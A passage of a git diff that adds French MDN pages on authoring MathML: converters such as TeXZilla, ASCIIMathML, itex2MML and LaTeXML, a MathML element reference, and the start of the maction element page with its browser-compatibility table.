+   <li>Vous devez synchroniser le convertisseur Javascript avec les autres programmes Javascript sur votre page.</li>
+  </ul>
+ </li>
+</ul>
+
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> a un élément HTML personnalisé <a href="https://github.com/fred-wang/x-tex">&lt;x-tex&gt;</a> pouvant être utilisé pour écrire des expressions telles que :</p>
+
+<pre class="notranslate"><span class="brush: html">&lt;<span class="start-tag">x-tex</span>&gt;</span><span>\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1</span><span class="brush: html">&lt;/<span class="end-tag">x-tex</span>&gt;</span></pre>
+
+<p>Et l'obtenir automatiquement converti en MathML. C'est une technologie toujours en développement, mais qui pourra être améliorée à l'avenir au moyen des composants Web et du shadow DOM. Alternativement, vous pouvez utiliser la traditionnelle <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#parsing-tex-expressions-in-your-web-page">analyse Javascript des expressions au chargement</a> comme tout les autres outils de cette section font.</p>
+
+<p>Un autre outil de conversion, simple et côté client, est <a href="http://www1.chapman.edu/~jipsen/mathml/asciimath.html" title="http://www1.chapman.edu/~jipsen/mathml/asciimath.html">ASCIIMathML</a>. Il vous suffit de télécharger le script <a href="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js" title="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js">ASCIIMathML.js</a> et de le copier dans votre dossier de site web, puis d'ajouter une balise <code>&lt;script&gt;</code> sur chaque page pour charger le script ASCIIMathML. Toute expression mathématique délimitée au moyen <code>`</code> (accent grave) sera automatiquement analysée et convertie en MathML:</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+    &lt;head&gt;
+        ...
+        &lt;script src="ASCIIMathML.js"&gt;&lt;/script&gt;
+        ...
+    &lt;/head&gt;
+    &lt;body&gt;
+        ...
+        &lt;p&gt;Lorem `x^2 + y^2 = r^2` ipsum ...
+        ...
+</pre>
+
+<p><a href="http://math.etsu.edu/LaTeXMathML/" title="http://math.etsu.edu/LaTeXMathML/">LaTeXMathML</a> est un script similaire d'analyser plus de commandes LaTeX. Son installation est semblable : copiez <a href="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.js" title="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.js">LaTeXMathML.js</a> et <a href="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.standardarticle.css" title="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.standardarticle.css">LaTeXMathML.standardarticle.css</a> dans votre dossier, ajoutez des liens vers ces fichiers dans vos documents et les contenus LaTeX de vos pages web, si marqués par la classe "LaTeX", seront automatiquement analysés et convertis en HTML et MathML:</p>
+
+<pre class="brush: html notranslate"><span>&lt;<span class="start-tag">head</span>&gt;</span>
+<span>    ...
+    &lt;<span class="start-tag">script</span> <span class="attribute-name">src</span>="<a class="attribute-value">LaTeXMathML.js</a>"&gt;&lt;/<span class="end-tag">script</span>&gt;<span>
+</span>    &lt;<span class="start-tag">link</span> <span class="attribute-name">rel</span>="<a class="attribute-value">stylesheet</a>" <span class="attribute-name">type</span>="<a class="attribute-value">text/css</a>" <span class="attribute-name">href</span>="<a class="attribute-value">LaTeXMathML.standardarticle.css</a>" <span>/</span>&gt;</span><span>
+    ...
+</span><span>&lt;/<span class="end-tag">head</span>&gt;</span><span>
+
+</span><span>&lt;<span class="start-tag">body</span>&gt;</span><span>
+    ...
+    </span>&lt;div class="LaTeX"&gt;
+        \documentclass[12pt]{article}
+        \begin{document}
+        \title{LaTeXML Example}
+        \maketitle
+        \begin{abstract}
+        This is a sample LaTeXML document.
+        \end{abstract}
+        \section{First Section}
+        $$ \sum_{n=1}^{+\infty} \frac{1}{n^2} = \frac{\pi^2}{6} $$
+        \end{document}
+    &lt;/div&gt;
+    ...</pre>
+
+<p><a href="http://mathscribe.com/author/jqmath.html" title="http://mathscribe.com/author/jqmath.html">jqMath</a> est un autre script pour analyser une expression utilisant une syntaxe simplifiée proche de LaTeX mais supportant en plus les caractères non-ASCII comme <code>√{∑↙{n=1}↖{+∞} 6/n^2} = π²</code> pour rendre <math> <mrow> <msqrt> <mrow class="ma-repel-adj"> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>1</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <mn>6</mn> <msup> <mi>n</mi> <mn>2</mn> </msup> </mfrac> </mrow> </msqrt> <mo>=</mo> <mi>π²</mi> </mrow> </math>. Son installation se fait de la même manière : copiez ses fichiers <a href="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip" title="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip">Javascript et CSS</a> dans votre dossier de site web et référencez-les dans vos pages (regardez le fichier <code>COPY-ME.html</code> de l'archive zip pour lire un exemple). L'un des avantages de jqMath par rapport aux scripts précédents est qu'il ajoutera automatiquement quelques règles CSS pour faire l'affichage mathématique et rendre les formules lisibles sur des navigateurs avec un support limité de MathML.</p>
+
+<h3 id="Programmes_en_ligne_de_commande">Programmes en ligne de commande</h3>
+
+<p>Un moyen alternatif est de convertir les expressions LaTeX avant de publier votre site web. Vous pouvez utiliser des programmes en ligne de commande pour générer et publier ces pages statiques sur votre serveur.</p>
+
+<ul>
+ <li>Avantages :
+  <ul>
+   <li>L'on obtient des pages web statiques : le code source en LaTeX ne nécessite pas d'être converti à chaque chargement, le code MathML est exposé aux robots d'indexation et l'on peut ajouter le code MathML aisément sur tout serveur web.</li>
+   <li>Des programmes binaires peuvent s'exécuter plus vite que des programmes Javascript et être plus sophistiqués, c'est-à-dire avoir un support LaTeX plus complet ou générer d'autres formats comme l'EPUB.</li>
+   <li>Vous pouvez assurer la compatibilité avec d'autres outils pour générer un PDF, c'est-à-dire que vous pouvez utiliser le même fichier source .tex  pour à la fois faire du LaTeX et du LaTeXML.</li>
+  </ul>
+ </li>
+ <li>Inconvénients :
+  <ul>
+   <li>Cela requiert d'installer des programmes sur son ordinateur, ce qui peut être plus compliqué ; et ces programmes peuvent être indisponibles sur certaines plates-formes.</li>
+   <li>Vous devez exécuter ces programmes sur votre ordinateur et avoir un flux de travail pour obtenir vos pages web à la fin ; cela peut s'avérer quelque peu fastidieux.</li>
+   <li>Les programmes binaires ne sont pas appropriés dans une extension Mozilla ou une application XUL.</li>
+  </ul>
+ </li>
+</ul>
+
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> peut être utilisé <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla#usage-from-the-command-line">depuis la ligne de commande</a> et a essentiellement le même support qu'itex2MML, décrit précédemment. Toutefois, le comportement de filtre de flux n'est pas encore implémenté.</p>
+
+<p>Si vous souhaitez seulement convertir de simples expressions mathématiques LaTeX, vous pourriez vouloir essayer des outils tels que <a href="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html" title="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html">itex2MML</a> ou <a href="http://gva.noekeon.org/blahtexml/" title="http://gva.noekeon.org/blahtexml/">Blahtex</a>. Ce dernier est souvent disponible sous les distributions Linux. Le premier a été originellement écrit par Paul Gartside au début du projet MathML de Mozilla et a été maintenu par Jacques Distler depuis. C'est un petit filtre de flux écrit en C/C++ et généré avec flex et bison ; qui a la particularité d'être très rapide. Installez simplement flex/bison de même que le compilateur classique et vous pourrez vous en servir. Sur Unix, vous pouvez télécharger itex2MML, le compiler et l'instaler :</p>
+
+<pre class="brush: bash notranslate">wget http://golem.ph.utexas.edu/~distler/blog/files/itexToMML.tar.gz; \
+tar -xzf itexToMML.tar.gz; \
+cd itex2MML/itex-src;
+make
+sudo make install
+</pre>
+
+<p>Supposons maintenant que nous avons un document HTML avec des parties en LaTeX délimitiés par le symbole '$' :</p>
+
+<pre class="brush: html notranslate">input.html
+
+...
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;$\sqrt{a^2-3c}$&lt;/p&gt;
+  &lt;p&gt;$$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $$&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Alors pour générer à partir de la page input.html la page output.html en remplaçant les expressions TeX par leurs équivalents MathML, entrez simplement :</p>
+
+<pre class="notranslate">cat input.html | itex2MML &gt; output.html</pre>
+
+<p>Il y a des outils encore plus sophistiqués pour convertir des documents arbitraires LaTeX en HTML et MathML. Par exemple <a href="https://www.tug.org/tex4ht/">TeX4ht</a> est souvent inclus dans les distributions TeX et a une option pour utiliser MathML plutôt que des images PNG. Cette commande générera un document en XHTML et MathML du nom de foo.xml à partir d'un fichier source LaTeX foo.tex :</p>
+
+<pre class="notranslate">   mk4ht mzlatex foo.tex # Linux / MacOS
+   mzlatex foo.tex       # Windows
+</pre>
+
+<p><a href="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> est un autre outil toujours activement développé mais sa dernière version sortie est assez vieille, donc vous devriez plutôt <a href="https://github.com/KWARC/LaTeXML">installer la version en développement</a>. En particulier, cette version peut générer des documents HTML5 et EPUB. Voici la commande à exécuter pour créer un fichier foo.html à partir d'un fichier source LaTeX foo.tex :</p>
+
+<pre class="notranslate">  latexml --dest foo.xml foo.tex
+  latexmlpost --dest foo.html --format=html5 foo.xml
+</pre>
+
+<p>Si vous voulez avoir MathJax comme alternative pour les navigateurs autres que Gecko, copier <a href="#mathjax-fallback">les lignes de JavaScript données précédemment</a> dans un fichier <code>mathjax.js</code> et utiliser le paramètre <code>--javascript</code> pour indiquer à LaTeXML d'inclure ce fichier :</p>
+
+<pre class="notranslate">  latexmlpost --dest foo.html --format=html5 --javascript=mathjax.js foo.xml
+</pre>
+
+<p>Si votre document LaTeX est lourd, vous pourriez vouloir le séparer en plusieurs pages plus petites plutôt que de laisser sur une seule page. C'est d'autant plus le cas si vous utilisez l'alternative MathJax puisque, dans ce cas, MathJax sera lent à afficher les équations dans les navigateurs autres que Gecko. Utilisez le paramètre <code>--splitat</code> prévu à cet effet. Par exemple, cette commande séparera les pages au niveau des <code>\section</code> :</p>
+
+<pre class="notranslate">  latexmlpost --dest foo.html --format=html5 --splitat=section foo.xml
+</pre>
+
+<p>Enfin, pour générer un document EPUB, vous pouvez faire :</p>
+
+<pre class="notranslate">  latexmlc --dest foo.epub --splitat=section foo.xml
+</pre>
+
+<h3 id="Conversion_côté_serveur">Conversion côté serveur</h3>
+
+<ul>
+ <li>Avantages :
+  <ul>
+   <li>La conversion est faite côté serveur et le rendu MathML peut être mis en cache, ce qui es plus efficace et propre qu'une conversion côté serveur.</li>
+  </ul>
+ </li>
+ <li>Inconvénients :
+  <ul>
+   <li>Ce pourrait être plus difficile à mettre en œuvre puisque vous pourrivez avoir besoin de droits d'administrateur sur le serveur.</li>
+  </ul>
+ </li>
+</ul>
+
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> can be <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#using-texzilla-as-a-web-server">used as a Web server</a> in order to perform server-side LaTeX-to-MathML conversion. <a href="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> can also be used as a deamon to run server-side. <a href="https://github.com/gwicke/mathoid">Mathoid</a> is another tool based on MathJax that is also able to perform additional MathML-to-SVG conversion.</p>
+
+<p><a href="http://instiki.org/show/HomePage">Instiki</a> is a Wiki that integrates itex2MML to do server-side conversion. In future versions, <a href="https://www.mediawiki.org/wiki/MediaWiki">MediaWiki</a> will support server-side conversion too.</p>
+
+<h2 id="Graphical_Interface">Graphical Interface</h2>
+
+<h3 id="Input_Box">Input Box</h3>
+
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> has several interfaces, including a <a href="http://ckeditor.com/addon/texzilla">CKEditor plugin</a> used on MDN, an <a href="http://fred-wang.github.io/TeXZilla/">online demo</a>, a <a href="https://addons.mozilla.org/en-US/firefox/addon/texzilla/">Firefox add-on</a> or a <a href="http://r-gaia-cs.github.io/TeXZilla-webapp/">FirefoxOS Webapp</a>. <a href="http://abisource.org/">Abiword</a> contains a small equation editor, based on itex2MML.<a href="http://www.bluegriffon.com/"> Bluegriffon</a> is a mozilla-based Wysiwyg HTML editor and has an add-on to insert MathML formulas in your document, using ASCII/LaTeX-like syntax.</p>
+
+<p style="text-align: center;"><img alt="BlueGriffon" src="http://www.bluegriffon.com/public/shots/mathml-shot1.png" style="height: 467px; width: 358px;"></p>
+
+<h3 id="WYSIYWG_Editors">WYSIYWG Editors</h3>
+
+<p><a href="http://www.firemath.info/">Firemath</a> is an extension for Firefox that provides a WYSIWYG MathML editor. A preview of the formula is displayed using the rendering engine of Mozilla. The generated MathML code is available at the bottom. Use the text field for token elements and buttons to build advanced constructions. Once you are done, you can save your document as a XHTML page.</p>
+
+<p><a href="http://www.openoffice.org/">OpenOffice</a> and <a href="http://libreoffice.org/">LibreOffice</a> have an equation editor (File → New → Formula). It is semi-WYSIWYG: you enter the source of the formula using the equation panel/keyboard and a preview of the formula is regularly refreshed. The editor uses its own syntax "StarMath" for the source but MathML is also generated when the document is saved. To get the MathML code, save the document as mml and open it with any text editor. Alternatively, you can extract the odf file (which is actually a zip archive) and open an xml file called <code>content.xml</code>.</p>
+
+<p style="text-align: center;"><img alt="Open Office Math" src="/@api/deki/files/4261/=openoffice.png" style="height: 527px; width: 483px;"></p>
+
+<p><a href="http://www.w3.org/Amaya/">Amaya</a> is the W3C's web editor, which is able to handle MathML inside XHTML documents. Use the Elements and the Special Chars panels to create various advanced mathematical constructs. Simple text such as <code>a+2</code> is automatically parsed and the appropriate MathML markup is generated. Once you are done, you can directly save your XHTML page and open it in Mozilla.</p>
+
+<h2 id="Optical_Character_Handwriting_Recognition">Optical Character &amp; Handwriting Recognition</h2>
+
+<p><a href="http://www.inftyreader.org/">Inftyreader</a> is able to perform some Optical Character Recognition, including translation of mathematical equations into MathML. Other tools can do handwriting recognition such as the <a href="http://windows.microsoft.com/en-za/windows7/use-math-input-panel-to-write-and-correct-math-equations">Windows Math Input Panel</a> or the online converter <a href="http://webdemo.visionobjects.com/" title="http://webdemo.visionobjects.com/portal.html">Web Equation</a>.</p>
+
+<div class="originaldocinfo">
+<h3 id="Informations_sur_le_document_original">Informations sur le document original</h3>
+
+<ul>
+ <li>Auteur(s): Frédéric Wang</li>
+ <li>Autres contributeurs: Florian Scholz</li>
+ <li>Informations de droits d'auteur : des parties de ce contenu sont © 2010 par des contributeurs mozilla.org individuels ; contenu disponible sous licence Creative Commons | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Détails</a>.</li>
+</ul>
+</div>
diff --git a/files/fr/web/mathml/element/index.html b/files/fr/web/mathml/element/index.html
new file mode 100644
index 0000000000..62a0071fa3
--- /dev/null
+++ b/files/fr/web/mathml/element/index.html
@@ -0,0 +1,230 @@
+---
+title: Référence des éléments MathML
+slug: Web/MathML/Element
+tags:
+  - MathML
+  - Référence MathML
+translation_of: Web/MathML/Element
+---
+<p>{{MathMLRef}}</p>
+
+<p>Ce document est une liste, par ordre alphabétique, des éléments de <strong>présentation</strong> MathML.</p>
+
+<p>La locution « <strong>élement de présentation</strong> » est utilisée pour décrire l'organisation et la mise en forme d'une formule mathématique. Les <strong>éléments de contenus</strong>, quant à eux, fournissent le sens mathématique inhérent à la formule et ne sont pas censés être affichés par l'interpréteur MathML parser (voir {{ bug(276028) }}). Si vous souhaitez avoir plus d'informations sur les éléments de contenus, il est conseillé de lire le <a class="external" href="http://www.w3.org/TR/MathML3/chapter4.html" title="http://www.w3.org/TR/MathML3/chapter4.html">chapitre 4</a> de la spécification <a class="external" href="http://www.w3.org/TR/MathML3/" title="http://www.w3.org/TR/MathML3/">MathML 3</a>.</p>
+
+<div class="multiColumnList">
+<h3 id="math">math</h3>
+
+<ul>
+ <li>{{MathMLElement("math")}} (Élément racine)</li>
+</ul>
+
+<h3 id="A">A</h3>
+
+<ul>
+ <li>{{MathMLElement("maction")}} (Actions liées au sous-expressions)</li>
+ <li>{{MathMLElement("maligngroup")}} (Groupe d'alignement)</li>
+ <li>{{MathMLElement("malignmark")}} (Points d'alignement)</li>
+</ul>
+
+<h3 id="E">E</h3>
+
+<ul>
+ <li>{{MathMLElement("menclose")}} (Contenus groupés avec un même symbole)</li>
+ <li>{{MathMLElement("merror")}} (Messages d'erreurs de syntaxe joints)</li>
+</ul>
+
+<h3 id="F">F</h3>
+
+<ul>
+ <li>{{MathMLElement("mfenced")}} (Parenthèses) {{deprecated_inline}}</li>
+ <li>{{MathMLElement("mfrac")}} (Fraction)</li>
+</ul>
+
+<h3 id="G">G</h3>
+
+<ul>
+ <li>{{MathMLElement("mglyph")}} (Affichage de symboles non-standard)</li>
+</ul>
+
+<h3 id="I">I</h3>
+
+<ul>
+ <li>{{MathMLElement("mi")}} (Identifiant)</li>
+</ul>
+
+<h3 id="L">L</h3>
+
+<ul>
+ <li>{{MathMLElement("mlabeledtr")}} (Ligne étiquetée dans un tableau ou une matrice)</li>
+ <li>{{MathMLElement("mlongdiv")}} (Notation pour une division longue)</li>
+</ul>
+
+<h3 id="M">M</h3>
+
+<ul>
+ <li>{{MathMLElement("mmultiscripts")}} (indices, exposants et indices de tenseurs simultanés)</li>
+</ul>
+
+<h3 id="N">N</h3>
+
+<ul>
+ <li>{{MathMLElement("mn")}} (Nombre)</li>
+</ul>
+
+<h3 id="O">O</h3>
+
+<ul>
+ <li>{{MathMLElement("mo")}} (Opérateur)</li>
+ <li>{{MathMLElement("mover")}} (Caractère(s) de surlignement)</li>
+</ul>
+
+<h3 id="P">P</h3>
+
+<ul>
+ <li>{{MathMLElement("mpadded")}} (Espacement autour du contenu)</li>
+ <li>{{MathMLElement("mphantom")}} (Contenu invisible avec un espace réservé)</li>
+</ul>
+
+<h3 id="R">R</h3>
+
+<ul>
+ <li>{{MathMLElement("mroot")}} (Racine avec une puissance)</li>
+ <li>{{MathMLElement("mrow")}} (Expressions groupées en lignes)</li>
+</ul>
+
+<h3 id="S">S</h3>
+
+<ul>
+ <li>{{MathMLElement("ms")}} (Chaine de caractères littérale)</li>
+ <li>{{MathMLElement("mscarries")}} (Annotations telles que les retenues)</li>
+ <li>{{MathMLElement("mscarry")}} (Retenue seule, élément fils de {{MathMLElement("mscarries")}})</li>
+ <li>{{MathMLElement("msgroup")}} (Lignes regroupant des éléments {{MathMLElement("mstack")}} et {{MathMLElement("mlongdiv")}})</li>
+ <li>{{MathMLElement("msline")}} (Ligne horizontale au sein d'un élément {{MathMLElement("mstack")}})</li>
+ <li>{{MathMLElement("mspace")}} (Espace)</li>
+ <li>{{MathMLElement("msqrt")}} (Racine carrée)</li>
+ <li>{{MathMLElement("msrow")}} (Lignes d'un élément {{ MathMLElement("mstack")}})</li>
+ <li>{{MathMLElement("mstack")}} (Alignement empilé)</li>
+ <li>{{MathMLElement("mstyle")}} (Variation de mise en forme)</li>
+ <li>{{MathMLElement("msub")}} (Indice)</li>
+ <li>{{MathMLElement("msup")}} (Exposant)</li>
+ <li>{{MathMLElement("msubsup")}} (Paire avec un indice et un exposant)</li>
+</ul>
+
+<h3 id="T">T</h3>
+
+<ul>
+ <li>{{MathMLElement("mtable")}} (Tableau ou matrice)</li>
+ <li>{{MathMLElement("mtd")}} (Cellule d'un tableau ou d'une matrice)</li>
+ <li>{{MathMLElement("mtext")}} (Texte)</li>
+ <li>{{MathMLElement("mtr")}} (Ligne d'un tableau ou d'une matrice)</li>
+</ul>
+
+<h3 id="U">U</h3>
+
+<ul>
+ <li>{{MathMLElement("munder")}} (Caractère(s) de soulignement)</li>
+ <li>{{MathMLElement("munderover")}} (Paire pour le soulignement et le surlignement simultané)</li>
+</ul>
+
+<h3 id="Autres_éléments">Autres éléments</h3>
+
+<ul>
+ <li>{{MathMLElement("semantics")}} (Conteneur d'annotations sémantiques)</li>
+ <li><a href="/fr/docs/MathML/Element/semantics"><code>&lt;annotation&gt;</code></a> (annotation de données)</li>
+ <li><a href="/fr/docs/MathML/Element/semantics"><code>&lt;annotation-xml&gt;</code></a> (annotation XML)</li>
+</ul>
+</div>
+
+<h2 id="Éléments_de_présentation_de_MathML_par_catégories">Éléments de présentation de MathML par catégories</h2>
+
+<h3 id="Éléments_racine">Éléments racine</h3>
+
+<ul>
+ <li>{{MathMLElement("math")}}</li>
+</ul>
+
+<h3 id="Éléments_textuels">Éléments textuels</h3>
+
+<ul>
+ <li>{{MathMLElement("mglyph")}}</li>
+ <li>{{MathMLElement("mi")}}</li>
+ <li>{{MathMLElement("mn")}}</li>
+ <li>{{MathMLElement("mo")}}</li>
+ <li>{{MathMLElement("ms")}}</li>
+ <li>{{MathMLElement("mspace")}}</li>
+ <li>{{MathMLElement("mtext")}}</li>
+</ul>
+
+<h3 id="Éléments_de_présentation_générale">Éléments de présentation générale</h3>
+
+<ul>
+ <li>{{MathMLElement("menclose")}}</li>
+ <li>{{MathMLElement("merror")}}</li>
+ <li>{{MathMLElement("mfenced")}} {{deprecated_inline}}</li>
+ <li>{{MathMLElement("mfrac")}}</li>
+ <li>{{MathMLElement("mpadded")}}</li>
+ <li>{{MathMLElement("mphantom")}}</li>
+ <li>{{MathMLElement("mroot")}}</li>
+ <li>{{MathMLElement("mrow")}}</li>
+ <li>{{MathMLElement("msqrt")}}</li>
+ <li>{{MathMLElement("mstyle")}}</li>
+</ul>
+
+<h3 id="Éléments_décriture_et_de_limite">Éléments d'écriture et de limite</h3>
+
+<ul>
+ <li>{{MathMLElement("mmultiscripts")}}</li>
+ <li>{{MathMLElement("mover")}}</li>
+ <li>{{MathMLElement("mprescripts")}}</li>
+ <li>{{MathMLElement("msub")}}</li>
+ <li>{{MathMLElement("msubsup")}}</li>
+ <li>{{MathMLElement("msup")}}</li>
+ <li>{{MathMLElement("munder")}}</li>
+ <li>{{MathMLElement("munderover")}}</li>
+ <li>{{MathMLElement("none")}}</li>
+</ul>
+
+<h3 id="Éléments_de_présentation_tabulaire">Éléments de présentation tabulaire</h3>
+
+<ul>
+ <li>{{MathMLElement("maligngroup")}}</li>
+ <li>{{MathMLElement("malignmark")}}</li>
+ <li>{{MathMLElement("mlabeledtr")}}</li>
+ <li>{{MathMLElement("mtable")}}</li>
+ <li>{{MathMLElement("mtd")}}</li>
+ <li>{{MathMLElement("mtr")}}</li>
+</ul>
+
+<h3 id="Éléments_de_mathématiques_élémentaires">Éléments de mathématiques élémentaires</h3>
+
+<ul>
+ <li>{{MathMLElement("mlongdiv")}}</li>
+ <li>{{MathMLElement("mscarries")}}</li>
+ <li>{{MathMLElement("mscarry")}}</li>
+ <li>{{MathMLElement("msgroup")}}</li>
+ <li>{{MathMLElement("msline")}}</li>
+ <li>{{MathMLElement("msrow")}}</li>
+ <li>{{MathMLElement("mstack")}}</li>
+</ul>
+
+<h3 id="Autres_éléments_2">Autres éléments</h3>
+
+<ul>
+ <li>{{MathMLElement("maction")}}</li>
+</ul>
+
+<h2 id="Annotations_sémantiques">Annotations sémantiques</h2>
+
+<ul>
+ <li><a href="Web/MathML/Element/semantics#annotation"><code>&lt;annotation&gt;</code></a></li>
+ <li><a href="Web/MathML/Element/semantics#annotation-xml"><code>&lt;annotation-xml&gt;</code></a></li>
+ <li>{{MathMLElement("semantics")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/MathML" title="/fr/docs/Web/MathML">MathML</a></li>
+ <li><a href="/fr/docs/Web/MathML/Attribute" title="/fr/docs/Web/MathML/Attribute">Référence des attributs MathML</a></li>
+</ul>
diff --git a/files/fr/web/mathml/element/maction/index.html b/files/fr/web/mathml/element/maction/index.html
new file mode 100644
index 0000000000..1aee31578c
--- /dev/null
+++ b/files/fr/web/mathml/element/maction/index.html
@@ -0,0 +1,230 @@
+---
+title: maction
+slug: Web/MathML/Element/maction
+tags:
+  - MathML
+  - 'MathML:Element'
+  - 'MathML:Référence'
+translation_of: Web/MathML/Element/maction
+---
+<p>L'élément MathML <code>&lt;maction&gt;</code> permet de lier des actions à des (sous-)expressions.<br>
+  L'action est définie par l'attribut <code>actiontype</code> qui peut prendre plusieurs valeurs. Pour définir quels éléments fils sont affectés par l'action, il est possible d'utiliser l'attribut <code>selection</code>.</p>
+<h2 id="Attributs">Attributs</h2>
+<dl>
+  <dt id="attr-actiontype">
+    actiontype</dt>
+  <dd>
+    L'action qui se produit pour cet élément. Les valeurs possibles sont :
+    <ul>
+      <li><code>statusline</code> : S'il y a un clic sur l'<em>expression</em> ou que le lecteur passe la souris sur celle-ci, le <em>message</em> est envoyé au statut du navigateur (<em>status line</em>). La syntaxe est la suivante : <code>&lt;maction actiontype="statusline"&gt; <em>expression</em> <em>message</em> &lt;/maction&gt;.</code></li>
+      <li><code>toggle</code> : Quand il y a un clic sur la sous-expression, la mise en forme des sous-expressions sélectionnées change. Ainsi chaque clic augmente la valeur de <code>selection</code>.<br>
+        La syntaxe est la suivante : <code>&lt;maction actiontype="toggle" selection="<em>entier-positif</em>" &gt; <em>expression1</em> <em>expression2</em> <em>expressionN</em> &lt;/maction&gt;</code>.</li>
+      <li><code>tooltip</code> : Lorsque la souris passe au-dessus de l'<em>expression</em>, une info-bulle est affichée à proximité de l'expression.<br>
+        La syntaxe est la suivante :<code> &lt;maction actiontype="tooltip"&gt; <em>expression</em> <em>message</em> &lt;/maction&gt;.</code></li>
+    </ul>
+  </dd>
+  <dt id="attr-class-id-style">
+    class, id, style</dt>
+  <dd>
+    Afin d'être utilisés avec les <a href="/fr/docs/CSS">feuilles de styles</a>.</dd>
+  <dt id="attr-href">
+    href</dt>
+  <dd>
+    Un hyperlien pointant vers un URI donné.</dd>
+  <dt id="attr-mathbackground">
+    mathbackground</dt>
+  <dd>
+    La couleur de fond. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+  <dt id="attr-mathcolor">
+    mathcolor</dt>
+  <dd>
+    La couleur du texte. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</dd>
+  <dt id="attr-selection">
+    selection</dt>
+  <dd>
+    L'élément fils auquel s'applique l'action. La valeur par défaut est <code>1</code>, ce qui correspond au premier élément fils.</dd>
+</dl>
+<h2 id="Exemples">Exemples</h2>
+<pre class="brush: html">&lt;math&gt;
+
+&lt;maction actiontype="toggle"&gt;
+
+  &lt;mfrac&gt;
+    &lt;mn&gt;6&lt;/mn&gt;
+    &lt;mn&gt;8&lt;/mn&gt;
+  &lt;/mfrac&gt;
+
+  &lt;mfrac&gt;
+    &lt;mrow&gt;
+      &lt;mn&gt;3&lt;/mn&gt;
+      &lt;mo&gt;&amp;sdot;&lt;/mo&gt;
+      &lt;mn&gt;2&lt;/mn&gt;
+    &lt;/mrow&gt;
+    &lt;mrow&gt;
+      &lt;mn&gt;4&lt;/mn&gt;
+      &lt;mo&gt;&amp;sdot;&lt;/mo&gt;
+      &lt;mn&gt;2&lt;/mn&gt;
+    &lt;/mrow&gt;
+  &lt;/mfrac&gt;
+
+  &lt;mfrac&gt;
+    &lt;mn&gt;3&lt;/mn&gt;
+    &lt;mn&gt;4&lt;/mn&gt;
+  &lt;/mfrac&gt;
+
+&lt;/maction&gt;
+
+&lt;/math&gt;
+</pre>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Fonctionnalité</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari</th>
+      </tr>
+      <tr>
+        <td>Support simple</td>
+        <td>{{ CompatNo() }} {{webkitbug(85734) }}</td>
+        <td>{{ CompatGeckoDesktop("1.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }} {{webkitbug(85734) }}</td>
+      </tr>
+      <tr>
+        <td><code>actiontype</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td><code>toggle</code> &amp; <code>statusline</code>. <code>tooltip</code> is not implemented {{ bug(544001) }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td><code>href</code></td>
+        <td>{{ CompatNo() }} {{webkitbug(85733)}}</td>
+        <td>{{ CompatGeckoDesktop("7.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }} {{webkitbug(85733)}}</td>
+      </tr>
+      <tr>
+        <td><code>mathbackground</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoDesktop("2.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+      <tr>
+        <td><code>mathcolor</code></td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatGeckoDesktop("2.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Fonctionnalité</th>
+        <th>Android</th>
+        <th>Chrome for Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Mobile</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Support simple</td>
